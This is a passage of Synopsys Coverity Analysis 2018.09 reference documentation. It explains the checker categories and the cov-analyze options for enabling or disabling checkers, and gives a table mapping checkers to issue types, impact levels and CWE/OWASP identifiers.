Reference for Coverity Analysis, Coverity Platform, and Coverity Desktop.
Copyright © 2018, Synopsys, Inc. All rights reserved worldwide.
The Coverity Analysis installation provides checkers that perform static analyses of source code (C, C++, Objective-C, Objective-C++, C#, Fortran, Java, JavaScript, PHP, Python, Ruby, Scala, Swift, and Visual Basic), analyses of developer tests with Test Advisor, and runtime analyses of Java code with Dynamic Analysis. This guide describes each checker and explains how and when to use modeling to improve analysis results. It also contains detailed information about common Web application security issues and issue remediation.
For information about running static analyses, see Coverity Analysis 2018.09 User and Administrator Guide and Coverity Wizard 2018.09 User Guide. To run analyses of developer tests, see Test Advisor 2018.09 User and Administrator Guide. For runtime analyses, see Dynamic Analysis 2018.09 Administration Tutorial.
Quality analyses of source code search for areas in the code base that can cause your application to misbehave. Coverity checkers include general quality checkers and specialized types of checkers such as rules, concurrency, compiler warning, Microsoft COM (for example, COM.ADDROF_LEAK), and Dynamic Analysis checkers.
For a complete list of quality checkers, see Appendix H, Checker History .
C/C++ compilation warning checkers expose issues that are detected by the Coverity compiler. The issues include parse, semantic, and recovery warnings. For details, see Section 4.152, “PW.*, RW.*, SW.*: Compiler Warnings”.
Concurrency issues are difficult to detect, diagnose, and fix. They can cause hanging, performance degradation, and data integrity issues. They are frequently the result of subtle, rare, and hard-to-reproduce timing issues involving multiple threads of control that are manipulating shared memory locations. As a consequence, it can be difficult to create test cases to uncover concurrency issues.
Coverity Analysis provides checkers that find a variety of concurrency issues. Coverity Analysis concurrency checkers find issues involving:
Double, missing, inconsistent, and incorrectly ordered locks.
Locks held for a long time or forever (deadlocks).
Race conditions caused by improper use of shared fields.
For a list of concurrency checkers, see Appendix H, Checker History .
Dynamic Analysis checkers support runtime analyses of Java code. For descriptions of these quality checkers, see Chapter 5, Dynamic Analysis Checkers.
Most Coverity checkers are designed to find defects in your code. Rule checkers are somewhat different in that they are intended to help organizations require or prohibit certain programming practices in a uniform way. While these practices are typically correlated with the occurrence of issues in the code bose, the correlation is weaker than for other quality checkers.
For organizations that choose to use these checkers, a defect reveals non-conformance with a given rule, so no defect is a false positive. However, for other organizations, these checkers might appear to have very high false positive rates, because, typically, most of the reported rule violations do not imply the presence of bugs. Due to this difference in behavior compared to most Coverity checkers, rule checkers are not enabled by default. For a complete list of rule checkers, see Appendix H, Checker History .
Security analyses search for areas in the code base that might allow an attacker to exploit a vulnerability in your application. Coverity security checkers find the following types of security issues:
Coverity Analysis helps your organization find and fix security issues that can lead to commonly exploited vulnerabilities in Web applications, including SQL injection, cross-site scripting, OS (operating system) command injection, and information disclosure that can arise from risky configurations. To help lower the risk of software failures, security issues are managed and prioritized through the same Coverity Connect workflow as quality issues and test violations.
Coverity Analysis helps your organization find and fix critical security issues in C/C++ code such as buffer overflow, integer overflow, and format string errors. Your organization can manage and prioritize C/C++ quality and security defects through the same Coverity Connect workflow as test violations and other defects and vulnerabilities.
Coverity Analysis helps your organization find and fix security issues in Java Android and Swift iOS applications.
Chapter 7, Security Reference describes some common sources of issues that Coverity Analysis checkers can handle.
Coverity Analysis runs checkers that are enabled and covered by your license. Many Coverity checkers are enabled by default, so they will run unless you explicitly disable them. Each checker detects specific types of issues in your source code. For example, the RESOURCE_LEAK checker looks for cases in which your program does not release system resources as soon as possible.
Coverity Analysis allows you to enable or disable any checkers. Because default enablement can vary by programming language, a checker that supports multiple languages might be enabled by default for one language but disabled by default for another. You can explicitly enable a checker for all languages to which it applies, or you can disable the checker entirely. Note that specifying exactly which checkers to run for which language is only possible with separate analysis by language.
The decision to disable or enable a checker or checker group depends on the types of issues that your organization wants Coverity Analysis to detect. It might also depend on Coverity Analysis performance requirements, because the greater the variety of checkers that you run, the longer it can take for Coverity Analysis to complete the analysis.
![]() | |
In addition to enabling and disabling checkers, you can use checker options to tune
the analysis. For example, to improve the value of NULL_RETURNS defects to your
organization, you might raise or lower the threshold used by that checker. To specify
checker option values, you use the option |
You can use cov-analyze command line options to change the set of
checkers to run. If you run a multi-language analysis with cov-analyze,
the checkers that are enabled for the analysis will run on all languages to which they
apply. Default enablement can vary by programming language, so a checker that supports
multiple languages might be enabled by default for one language but disabled by default for
another.
To change the set of checkers that are enabled:
Use the cov-analyze --list-checkers option to view a list of
the checkers that the command can run.
The option returns a list of checkers that includes guidance on enabling those that are not enabled by default.
Enable one or more checkers.
To enable specific checkers, use the --enable
< option or the
CHECKER>-en < option.CHECKER>
For example:
> cov-analyze --dir <directory> --enable SWAPPED_ARGUMENTSThe example runs the SWAPPED_ARGUMENTS checker along with the default checkers.
For details, see
--enable
in the
Coverity 2018.09 Command Reference.
To enable most of the checkers that are not already enabled by default,
use the --all option.
For details, see
--all
in the
Coverity 2018.09 Command Reference.
To enable C/C++ concurrency checkers that are disabled by default, use the
--concurrency option.
For example:
> cov-analyze --dir <directory> --concurrencyFor details, see
--concurrency
in the
Coverity 2018.09 Command Reference.
To enable C/C++ security checkers, use the --security
option.
For example:
> cov-analyze --dir <directory> --securityFor details about the scope of this option, see
--security
in the
Coverity 2018.09 Command Reference.
To enable all Web application security checkers, use the
--webapp-security
option.
To enable the JSHint analysis of JavaScript code, use the
--enable-jshint option.
For details about this option, see
--enable-jshint
in the
Coverity 2018.09 Command Reference.
To enable compiler warning checkers (parse warning, recovery warning, and
semantic warning checkers), use the --enable-parse-warnings
option.
For example:
> cov-analyze --dir <directory> --enable-parse-warningsIf you want to change the set of compiler warnings that are enabled, see Section 1.3.2, “Enabling Compilation Warning checkers (PW.*, RW.*, SW.*)”.
Disable one or more checkers.
To disable a single checker, use the --disable
option.
For example:
> cov-analyze --dir <directory>
--disable BAD_OVERRIDEFor details, see
--disable
in the
Coverity 2018.09 Command Reference.
To disable the default checkers, use the
--disable-default option.
The following example disables all checkers that are enabled by default:
> cov-analyze --dir <directory> --disable-defaultThe following example enables the SpotBugs analysis while disabling all
other default checkers, use the --enable-fb option with
--disable-default.
For example:
> cov-analyze --dir <directory> --enable-fb --disable-defaultTo further refine SpotBugs analysis, you can also use the
--fb-include and --fb-exclude options
to cov-analyze.
To disable parse warnings (if you previously enabled them but no longer
need to see them), use the --disable-parse-warnings
option.
For details, see of this option in the
--disable-parse-warnings
in the Coverity 2018.09 Command Reference.
To disable all Web application security checkers, use the
--disable-webapp-security
option.
Hundreds of warnings can be generated by the Coverity C/C++/Swift parser and exposed as defects. By default, some C/C++ compilation warning checkers that produce these warnings are disabled because the warnings provide unnecessary information, identify issues that are reported with greater accuracy by other Coverity Analysis checkers, or have a very large number of false positives. All Swift compilation warning checkers are enabled by default.
You can specify the warnings that are exposed as defects through a configuration file. To
create this file, you can refer to the sample parse warning configuration file, which shows
all of the default settings. The sample file is located in
. Checkers are
enabled or disabled by a directive in this file. A directive uses the following
syntax:<install_dir_sa>/config/parse_warnings.conf.sample
chk "<checker_name>": on | off | macros | no_macros;Here, <checker_name> is the name of the warning as shown in Coverity Connect, for
example, PW.ASSIGN_WHERE_COMPARE_MEANT.
Individual parse warnings that start with RW or SW, unless they
are explicitly disabled, will be reported when parse warnings are enabled; parse warnings
that start with PW will only be reported if they are explicitly enabled when
parse warnings are enabled. To disable all parse warnings, you can add the
disable_all; directive. To disable individual warnings that are listed
in the file, you can comment them out.
C/C++: Parse warnings are disabled by default; they are enabled by:
Swift: Parse warnings are enabled by default; they can be disabled by:
To change the C/C++/Swift parse warnings that are enabled:
Copy the parse_warnings.conf.sample file and save it with a
new name.
Edit this copy of the configuration file.
Remove comment characters before the default directives that you want to use.
Add directives for checkers that you want enable or disable.
Run the cov-analyze command with both the
--enable-parse-warnings and the --parse-warnings-config
<config_file> options.
Here, <config_file> is the name of your own configuration file, including
the full or relative path. For example, to enable the parse warning checkers using a
configuration file named my_parse_warnings.conf, use the
following command:
cov-analyze --enable-parse-warnings --parse-warnings-config my_parse_warnings.conf
When a checker finds a software issue, it produces data for review in Coverity Connect. This section lists such analysis data. You can use the table filter and sort it.
![]() | |
Column sorting can take a couple of seconds. The following checkers are not included in the table: Section 4.78, “DF.CUSTOM_CHECKER”, Section 4.69, “DC.CUSTOM_CHECKER” (but see other Don't Call (DC.*) checkers), Section 4.86, “FB.* (SpotBugs)”, Section 4.91, “HFA”, Section 4.107, “JSHINT.* (JSHint) Analysis”, Section 4.211, “TEXT.CUSTOM_CHECKER”, and Section 4.122, “MISSING_COPY_OR_ASSIGN” (but see MISSING_COPY AND MISSING_ASSIGN). These checkers are listed in Chapter 4, Coverity Analysis Checkers. For Dynamic Analysis checkers, see Chapter 5, Dynamic Analysis Checkers. For Fortran Syntax Analysis (FC.*) checkers, see Section 8.1, “FC.* (Fortran Syntax Analysis) Checkers”. |
C/C++
C#
Java
JavaScript
Objective-C/C++
PHP
Python
Ruby
Scala
Swift
Visual Basic
| Name | Issue Type | Category | Language | Effect | Impact | Kind | CWE Type | Related CWE Types | OWASP Top 10 | SANS/CWE Top 25 |
|---|---|---|---|---|---|---|---|---|---|---|
| ALLOC_FREE_MISMATCH | Incorrect deallocator used | API usage errors | C/C++ | Depending on the difference between the correct and incorrect allocator, there may be a resource leak or memory corruption. | Medium | Quality | 762 | 17, 18, 361, 398, 399, 404, 465, 633, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| ALLOC_FREE_MISMATCH | Incorrect deallocator used | API usage errors | Objective-C/C++ | Depending on the difference between the correct and incorrect allocator, there may be a resource leak or memory corruption. | Medium | Quality | 762 | 17, 18, 361, 398, 399, 404, 465, 633, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| ANDROID_DEBUG_MODE | Android application debug mode enabled | Low impact security | Java | An attacker might debug the internal state of the Android application and get access to sensitive data and services. | Low | Security | 215 | 17, 18, 19, 199, 200, 215, 361, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011 | ||
| ANGULAR_EXPRESSION_INJECTION | Angular Expression Injection | High impact security | JavaScript | An attacker may be able to maliciously affect the application's behavior by controlling an Angular expression. | High | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| ARRAY_VS_SINGLETON | Out-of-bounds access | Memory - corruptions | C/C++ | Memory not owned by this buffer will be accessed, causing memory corruption or incorrect computations. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| ARRAY_VS_SINGLETON | Out-of-bounds access | Memory - corruptions | Objective-C/C++ | Memory not owned by this buffer will be accessed, causing memory corruption or incorrect computations. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| ASPNET_MVC_VERSION_HEADER | ASP.NET MVC version header included | Low impact security | C# | Not setting MvcHandler.DisableMvcResponseHeader to true in function Application_Start or its callees reveals information about the specific version of ASP.NET MVC on the target system. | Low | Security | 200 | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| ASPNET_MVC_VERSION_HEADER | ASP.NET MVC version header included | Low impact security | Visual Basic | Not setting MvcHandler.DisableMvcResponseHeader to true in function Application_Start or its callees reveals information about the specific version of ASP.NET MVC on the target system. | Low | Security | 200 | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| ASSERT_SIDE_EFFECT | Side effect in assertion | Incorrect expression | C/C++ | If the assertion is turned off, the side-effect may be lost. | Medium | Quality | None | |||
| ASSERT_SIDE_EFFECT | Side effect in assertion | Incorrect expression | Objective-C/C++ | If the assertion is turned off, the side-effect may be lost. | Medium | Quality | None | |||
| ASSERT_SIDE_EFFECT | Function in assertion | Incorrect expression | C/C++ | If the assertion is turned off, the function call could be skipped and any side-effects lost. | Medium | Quality | None | |||
| ASSERT_SIDE_EFFECT | Function in assertion | Incorrect expression | Objective-C/C++ | If the assertion is turned off, the function call could be skipped and any side-effects lost. | Medium | Quality | None | |||
| ASSIGN_NOT_RETURNING_STAR_THIS | Assign does not return *this | Strict rule violations | C/C++ | This assignment operator does not directly return *this as a reference to a non-const object, as does a built-in assignment operator. This unconventional interface or behavior may make it difficult for others to use this class. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| ASSIGN_NOT_RETURNING_STAR_THIS | Assign does not return *this | Strict rule violations | Objective-C/C++ | This assignment operator does not directly return *this as a reference to a non-const object, as does a built-in assignment operator. This unconventional interface or behavior may make it difficult for others to use this class. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| ASSIGN_NOT_RETURNING_STAR_THIS | Assign does not return *this | Rule violations | C/C++ | This assignment operator does not directly return *this as a reference to a non-const object, as does a built-in assignment operator. This unconventional interface or behavior may make it difficult for others to use this class. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| ASSIGN_NOT_RETURNING_STAR_THIS | Assign does not return *this | Rule violations | Objective-C/C++ | This assignment operator does not directly return *this as a reference to a non-const object, as does a built-in assignment operator. This unconventional interface or behavior may make it difficult for others to use this class. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| ATOMICITY | Value not atomically updated | Concurrent data access violations | C/C++ | The result of the update will be determined by the interleaving of thread execution. | Medium | Quality | 662 | 17, 18, 361, 662, 664, 691, 699, 700, 734, 745, 844, 852, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| ATOMICITY | Value not atomically updated | Concurrent data access violations | Java | The result of the update will be determined by the interleaving of thread execution. | Medium | Quality | 662 | 17, 18, 361, 662, 664, 691, 699, 700, 734, 745, 844, 852, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| ATOMICITY | Value not atomically updated | Concurrent data access violations | Objective-C/C++ | The result of the update will be determined by the interleaving of thread execution. | Medium | Quality | 662 | 17, 18, 361, 662, 664, 691, 699, 700, 734, 745, 844, 852, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| ATTRIBUTE_NAME_CONFLICT | Duplicate JSP tag attribute | Rule violations | Java | This may lead to undefined behavior. Tomcat 7 or later will fail when there are duplicate attributes in JSP tags. | Low | Quality, Security | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | Nested memory access | Low impact security | C/C++ | If the memory access used as an index is out-of-bounds an attacker might be able to read the process' memory. | Low | Security | 200 | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | Nested memory access | Low impact security | Objective-C/C++ | If the memory access used as an index is out-of-bounds an attacker might be able to read the process' memory. | Low | Security | 200 | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | Speculative execution data leak | High impact security | C/C++ | If an attacker can control the value compared against the speculative memory access they might be able to read the process' memory. | High | Security | 200 | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | Speculative execution data leak | High impact security | Objective-C/C++ | If an attacker can control the value compared against the speculative memory access they might be able to read the process' memory. | High | Security | 200 | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | Speculative execution data leak | High impact security | C/C++ | An attacker might be able to read the process' memory. | High | Security | 200 | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | Speculative execution data leak | High impact security | Objective-C/C++ | An attacker might be able to read the process' memory. | High | Security | 200 | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| BAD_ALLOC_ARITHMETIC | Stray pointer arithmetic | Memory - corruptions | C/C++ | The pointer value returned from the allocator may be lost, making it difficult to deallocate later. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| BAD_ALLOC_ARITHMETIC | Stray pointer arithmetic | Memory - corruptions | Objective-C/C++ | The pointer value returned from the allocator may be lost, making it difficult to deallocate later. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| BAD_ALLOC_STRLEN | String length miscalculation | Memory - corruptions | C/C++ | The string length computed may be one less than intended (or zero for the empty string). A common mistake. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ||
| BAD_ALLOC_STRLEN | String length miscalculation | Memory - corruptions | Objective-C/C++ | The string length computed may be one less than intended (or zero for the empty string). A common mistake. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ||
| BAD_CERT_VERIFICATION | Insecure SSL/TLS: bad HostnameVerifier | High impact security | Java | An attacker can execute a man-in-the-middle attack to eavesdrop on or interfere with all traffic in the session. | High | Security | 297 | 17, 18, 254, 264, 284, 295, 297, 300, 310, 361, 632, 635, 664, 693, 699, 700, 711, 723, 731, 844, 859, 884, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 984, 1000, 1003, 1008, 1011, 1014, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | |
| BAD_CERT_VERIFICATION | Insecure SSL/TLS: disabling certificate revocation check | High impact security | Java | Can connect to a system with a revoked certificate, which is almost certainly malicious. | High | Security | 299 | 17, 18, 254, 264, 284, 295, 299, 300, 310, 361, 398, 399, 404, 632, 635, 664, 693, 699, 700, 710, 711, 723, 730, 731, 734, 743, 750, 752, 844, 857, 859, 868, 876, 877, 882, 884, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 982, 984, 1000, 1003, 1008, 1011, 1014, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | |
| BAD_CERT_VERIFICATION | Insecure SSL/TLS: SSLSession hostname not verified | High impact security | Java | It may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to impersonate a trusted host. | High | Security | 297 | 17, 18, 254, 264, 284, 295, 297, 300, 310, 361, 632, 635, 664, 693, 699, 700, 711, 723, 731, 844, 859, 884, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 984, 1000, 1003, 1008, 1011, 1014, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | |
| BAD_CERT_VERIFICATION | Insecure SSL/TLS: bad TrustManager | High impact security | Java | An attacker can execute a man-in-the-middle attack to eavesdrop on or interfere with all traffic in the session. | High | Security | 296 | 17, 18, 227, 254, 264, 284, 295, 296, 300, 310, 361, 573, 632, 635, 664, 693, 699, 700, 710, 711, 723, 724, 731, 844, 850, 859, 884, 887, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1014, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | |
| BAD_CERT_VERIFICATION | Bad certificate verification | Medium impact security | Swift | An attacker can execute a man-in-the-middle attack to eavesdrop on or interfere with all traffic in the session. | Medium | Security | 296 | 17, 18, 227, 254, 264, 284, 295, 296, 300, 310, 361, 573, 632, 635, 664, 693, 699, 700, 710, 711, 723, 724, 731, 844, 850, 859, 884, 887, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1014, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | |
| BAD_CERT_VERIFICATION | Bad certificate verification | Medium impact security | Swift | An attacker can execute a man-in-the-middle attack to eavesdrop on or interfere with all traffic in the session. | Medium | Security | 295 | 17, 18, 254, 264, 284, 295, 300, 310, 361, 632, 635, 664, 693, 699, 700, 711, 723, 731, 844, 859, 884, 888, 892, 899, 902, 907, 923, 928, 934, 944, 956, 975, 984, 1000, 1003, 1008, 1011, 1014, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | |
| BAD_CHECK_OF_WAIT_COND | Indefinite wait | Program hangs | Java | This thread can wait after its wait condition has been satisfied, causing it to wait needlessly, perhaps forever. | High | Quality | None | |||
| BAD_CHECK_OF_WAIT_COND | Data race condition | Concurrent data access violations | Java | This thread does not re-check the wait condition upon wakeup, which may cause it to continue prematurely. | Medium | Quality | None | |||
| BAD_COMPARE | Misuse of memcmp-style function | API usage errors | C/C++ | The return value may be misinterpreted if the function returns an unexpected value. | Medium | Quality, Security | 253 | 17, 18, 227, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| BAD_COMPARE | Misuse of memcmp-style function | API usage errors | Objective-C/C++ | The return value may be misinterpreted if the function returns an unexpected value. | Medium | Quality, Security | 253 | 17, 18, 227, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| BAD_COMPARE | Unintended comparison to logical negation | Incorrect expression | C/C++ | The comparison may evaluate to an incorrect value, because the logical negation is applied to the left hand operand, not the comparison result. | Medium | Quality, Security | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| BAD_COMPARE | Unintended comparison to logical negation | Incorrect expression | Objective-C/C++ | The comparison may evaluate to an incorrect value, because the logical negation is applied to the left hand operand, not the comparison result. | Medium | Quality, Security | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| BAD_COMPARE | Function address comparison | Incorrect expression | C/C++ | The function is not called. This may indicate missing function call arguments. | Medium | Quality, Security | 628 | 227, 559, 573, 628, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| BAD_COMPARE | Function address comparison | Incorrect expression | Objective-C/C++ | The function is not called. This may indicate missing function call arguments. | Medium | Quality, Security | 628 | 227, 559, 573, 628, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| BAD_COMPARE | Inequality comparison against NULL | Incorrect expression | C/C++ | The expression will not have its intended effect. | Medium | Quality, Security | None | |||
| BAD_COMPARE | Inequality comparison against NULL | Incorrect expression | Objective-C/C++ | The expression will not have its intended effect. | Medium | Quality, Security | None | |||
| BAD_COMPARE | Pointer comparison with string literal | Incorrect expression | C/C++ | The comparison evaluates to an incorrect value, because the strings' contents are ignored. | Medium | Quality, Security | 597 | 17, 18, 19, 133, 137, 171, 398, 438, 480, 569, 595, 597, 670, 691, 697, 699, 700, 710, 734, 747, 844, 845, 847, 868, 871, 883, 884, 885, 888, 907, 977, 978, 998, 1000, 1003 | ||
| BAD_COMPARE | Pointer comparison with string literal | Incorrect expression | Objective-C/C++ | The comparison evaluates to an incorrect value, because the strings' contents are ignored. | Medium | Quality, Security | 597 | 17, 18, 19, 133, 137, 171, 398, 438, 480, 569, 595, 597, 670, 691, 697, 699, 700, 710, 734, 747, 844, 845, 847, 868, 871, 883, 884, 885, 888, 907, 977, 978, 998, 1000, 1003 | ||
| BAD_EQ | Wrong equality (referential) | Incorrect expression | C# | Referential equality may consider objects different when value equality considers them the same. | Medium | Quality | 595 | 17, 18, 19, 137, 171, 398, 569, 595, 697, 699, 700, 710, 734, 747, 844, 845, 847, 868, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| BAD_EQ_TYPES | Equality test on different types | Incorrect expression | C# | The equality test will always return false. | Medium | Quality | 570 | 17, 18, 398, 561, 569, 570, 699, 700, 710, 734, 747, 868, 883, 884, 885, 886, 888, 907, 978, 998, 1000, 1003, 1006 | ||
| BAD_FREE | Free of address-of expression | Memory - corruptions | C/C++ | A non-heap pointer is placed on the free list, likely causing a crash later. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of address-of expression | Memory - corruptions | Objective-C/C++ | A non-heap pointer is placed on the free list, likely causing a crash later. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of stack-allocated memory | Memory - corruptions | C/C++ | A non-heap pointer is placed on the free list, likely causing a crash later. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of stack-allocated memory | Memory - corruptions | Objective-C/C++ | A non-heap pointer is placed on the free list, likely causing a crash later. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of array-typed value | Memory - corruptions | C/C++ | A pointer to the array is placed on the free list, likely causing a crash later; an array is not heap allocated by the program and, hence, cannot be freed. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of array-typed value | Memory - corruptions | Objective-C/C++ | A pointer to the array is placed on the free list, likely causing a crash later; an array is not heap allocated by the program and, hence, cannot be freed. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
